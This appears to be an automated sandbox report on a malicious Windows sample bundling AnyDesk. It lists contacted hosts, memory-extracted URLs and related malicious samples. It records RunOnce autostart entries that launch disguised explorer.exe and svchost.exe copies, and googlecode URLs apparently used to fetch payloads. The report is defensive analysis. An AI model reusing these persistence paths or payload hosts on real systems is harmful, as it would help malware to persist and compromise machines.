Source	Detection	Scanner	Label
http://ns.adobe.c/g	0%	URL Reputation	safe
http://codecmd02.googlecode.com/files/tjcm.gif	0%	Avira URL Cloud	safe
https://boot.net.anydesk.comabcdefABCDEFtruefalsebase.prot.packetInvalid	0%	Avira URL Cloud	safe
http://codecmd03.googlecode.com/files/tjcm.gif	0%	Avira URL Cloud	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://codecmd01.googlecode.com/files/tjcm.gif	0%	Avira URL Cloud	safe
https://my.anydesk.coms	0%	Avira URL Cloud	safe
http://ns.ado/1	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
boot.net.anydesk.com	185.229.191.39	true	false		high
googlecode.l.googleusercontent.com	142.250.102.82	true	false		high
codecmd01.googlecode.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
codecmd03.googlecode.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
codecmd02.googlecode.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://codecmd02.googlecode.com/files/tjcm.gif	false	Avira URL Cloud: safe	unknown
http://codecmd03.googlecode.com/files/tjcm.gif	false	Avira URL Cloud: safe	unknown
http://codecmd01.googlecode.com/files/tjcm.gif	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://help.anydesk.com/en	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.anydesk.com/	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://support.anydesk.com/f	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://order.anydesk.com/trial	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://anydesk.com/update	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://www.google.com/intl/$	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://anydesk.com/order2	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/macos-securitys.	sj9q8uwmax.exe , 00000001.00000002.763503240.0000000003A00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://my.anydesk.com	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
http://ns.adobe.c/g	sj9q8uwmax.exe , 00000001.00000003.461286187.0000000003D81000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.764979477.0000000003D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://twitter.com/home?status=Do%20you%20know%20%23AnyDesk?%20AnyDesk%20is%20a%20small%20and%20qui	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/backup-aliasn	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.762176654.0000000003591000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://anydesk.com/	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://anydesk.com/privacy	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://datatracker.ietf.org/ipr/1526/	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://www.nayuki.io/page/qr-code-generator-library	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://policies.google.com/privacy?hl=$	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://support.anydesk.com/AnyDesk_on_macOS	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/nnl	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/privacy?hl=en$	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/macos-security	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/en/android-battery	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/ipr/1914/	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://policies.google.com/privacy?hl=en	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/terms	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://boot.net.anydesk.comabcdefABCDEFtruefalsebase.prot.packetInvalid	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://anydesk.com/updater~	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/order	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/backup-alias	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://www.google.com/intl/en	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://my.anydesk.com/password-generator.	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://anydesk.com	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://support.anydesk.com/.	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/shareh	sj9q8uwmax.exe , 00000001.00000002.763503240.0000000003A00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/pa/	sj9q8uwmax.exe , 00000001.00000003.458587076.000000000359C000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458652270.00000000035A0000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458843771.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458065682.000000000358F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adobe.cobj	sj9q8uwmax.exe , 00000001.00000003.461286187.0000000003D81000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.764979477.0000000003D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.opengl.org/registry/	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/error-messages	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://www.google.com/intl/	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/wol	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/$	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/shareW	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.anydesk.com/	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://www.linkedin.com/shareArticle?mini=true&url=https%3A//anydesk.com/&title=Try%20AnyDesk%20Rem	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://console-ui.myanydesk2.on.anydesk.com	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
http://support.anydesk.com	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://my.anydesk.coms	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy?hl=enf	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/terms~l	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/HelpLinkInstallLocationAnyDesk	sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://boot-01.net.anydesk.com	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://datatracker.ietf.org/ipr/1524/	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://anydesk.com/company#imprint	sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
http://www.openssl.org/)	sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/6k	sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.anydesk.com/access	sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
http://www.openssl.org/support/faq.htmlEC_PRIVATEKEYpublicKeyparametersprivateKeyECPKPARAMETERSvalue	sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
https://help.anydesk.com/share	sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.763503240.0000000003A00000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	false		high
http://ns.ado/1	sj9q8uwmax.exe , 00000001.00000003.461286187.0000000003D81000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.764979477.0000000003D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
92.223.88.41	unknown	Austria	199524	GCOREAT	false
49.12.130.236	unknown	Germany	24940	HETZNER-ASDE	false
49.12.130.237	unknown	Germany	24940	HETZNER-ASDE	false
185.229.191.39	boot.net.anydesk.com	Czech Republic	60068	CDN77GB	false
142.250.102.82	googlecode.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	666578
Start date and time: 16/07/202223:55:23	2022-07-16 23:55:23 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	sJ9Q8UWMAX.com_7fdb00c80f0250575a05601c08627d50 (renamed file extension from com_7fdb00c80f0250575a05601c08627d50 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.evad.winEXE@22/19@15/7
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 3.6% (good quality ratio 0%) Quality average: 0% Quality standard deviation: 0%
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 49
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.211.4.86, 40.125.122.176, 52.242.101.226, 20.223.24.244, 20.238.103.94, 52.152.110.14
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, licensing.mp.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:57:05	API Interceptor	109x Sleep call for process: svchost.exe modified
23:57:11	API Interceptor	382x Sleep call for process: explorer.exe modified
23:57:15	Autostart	Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Explorer c:\windows\resources\themes\explorer.exe RO
23:57:18	API Interceptor	2x Sleep call for process: sj9q8uwmax.exe modified
23:57:23	Autostart	Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Svchost c:\windows\resources\svchost.exe RO

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
92.223.88.41	AnyDesk (5).exe	Get hash	malicious	Browse
	AnyDesk (4).exe	Get hash	malicious	Browse
	AnyDesk.exe	Get hash	malicious	Browse
	AnyDesk (1).exe	Get hash	malicious	Browse
	Vostel-Anydesk.EXE	Get hash	malicious	Browse
	AnyDesk.exe	Get hash	malicious	Browse
49.12.130.236	https://ms94.yolasite.com/	Get hash	malicious	Browse
	AnyDesk.exe	Get hash	malicious	Browse
	AnyDesk.exe	Get hash	malicious	Browse
49.12.130.237	AnyDesk (5).exe	Get hash	malicious	Browse
	AnyDesk (1).exe	Get hash	malicious	Browse
	handelsbankensupport.com-AnyDesk.exe	Get hash	malicious	Browse
	AnyDesk.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
boot.net.anydesk.com	http://anydesk.com	Get hash	malicious	Browse	185.229.191.39
	https://ms94.yolasite.com/	Get hash	malicious	Browse	49.12.130.236
	AnyDesk (5).exe	Get hash	malicious	Browse	49.12.130.237
	AnyDesk (4).exe	Get hash	malicious	Browse	195.181.174.167
	AnyDesk (3).exe	Get hash	malicious	Browse	195.181.174.173
	AnyDesk.exe	Get hash	malicious	Browse	195.181.174.173
	AnyDeskUninst5265.exe	Get hash	malicious	Browse	92.223.88.232
	handelsbankensupport.com-AnyDesk.exe	Get hash	malicious	Browse	49.12.130.237

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GCOREAT	dYM5ol1Mx4	Get hash	malicious	Browse	92.38.145.189
	http://info-getting-eu.com	Get hash	malicious	Browse	92.223.124.254
	5fjZZ75ZIi	Get hash	malicious	Browse	5.188.4.184
	PgyjFPUU5u	Get hash	malicious	Browse	92.38.145.157
	https://novawealth.me/wp-content/suedia	Get hash	malicious	Browse	92.223.127.141
	dJPWbHmILN.exe	Get hash	malicious	Browse	92.38.135.62
	dJPWbHmILN.exe	Get hash	malicious	Browse	92.38.135.62
	i9YeKJfeed	Get hash	malicious	Browse	92.223.55.192
	kKH0R03Zoa	Get hash	malicious	Browse	5.188.4.149
	arm	Get hash	malicious	Browse	5.188.4.155
	https://irinwellness.com/wp-content/colour/orange/empty/colour/orange/empty/newabdcolour/next.php	Get hash	malicious	Browse	185.12.242.33
	xd.arm	Get hash	malicious	Browse	92.38.145.160
	SBNGwWC7Wb	Get hash	malicious	Browse	92.38.145.170
